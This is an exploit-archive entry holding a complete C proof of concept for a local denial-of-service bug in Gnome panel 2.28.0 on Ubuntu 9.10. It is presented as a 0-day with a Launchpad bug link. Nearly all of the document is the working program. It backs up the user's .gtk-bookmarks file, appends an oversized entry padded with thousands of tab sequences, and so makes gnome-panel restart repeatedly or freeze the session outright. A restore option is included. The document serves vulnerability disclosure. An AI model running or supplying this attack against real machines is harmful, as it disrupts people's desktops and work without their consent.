1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
# Tested on: ubuntu 9.10 # CVE : # Code : /********************************************************************************* * Gnome panel <= 2.28.0 denial of service poc 0-day * * byPietro Oliva <pietroliva@gmail.com> * http://olivapietro.altervista.org * * * After executing this poc a backup file will be created * *You can restore it by typing ./paneldos restore * * Using option restart gnome-panel will restart continuously * *Using option totalblock you will need to remove the battery * * After execution click application in the panel, then go to places* * and wait some seconds... * * https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868* **********************************************************************************/ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE *f; unsigned long i; printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n"); if(!(f=fopen(".gtk-bookmarks","r"))) { printf("%s","file not found! make sure you are running\nthis file from your home directory\n"); return 1; } fclose(f); if((argv[1]==NULL)) { printf("%s","please specify an argument!\n"); printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n"); return 1; } if(((strcmp(argv[1],"restart"))==0)) i=9999; else if((strcmp(argv[1],"totalblock"))==0) i=99999; else if((strcmp(argv[1],"restore"))==0) { if(!(f=fopen(".backup","r"))) { printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n"); return 1; } fclose(f); system("cp .backup .gtk-bookmarks"); printf("%s","succesfully restored!\n"); return 0; } else { printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n"); return 1; } if(!(f=fopen(".backup","r"))) { printf("%s","creating backup...\n"); system("cp .gtk-bookmarks .backup"); } else fclose(f); f=fopen(".gtk-bookmarks","a"); printf("%s","starting...\n"); fwrite("file:///home ",1,13,f); while(i>0) { fwrite("\ta",1,2,f); i--; } fclose(f); printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n"); return 0; } |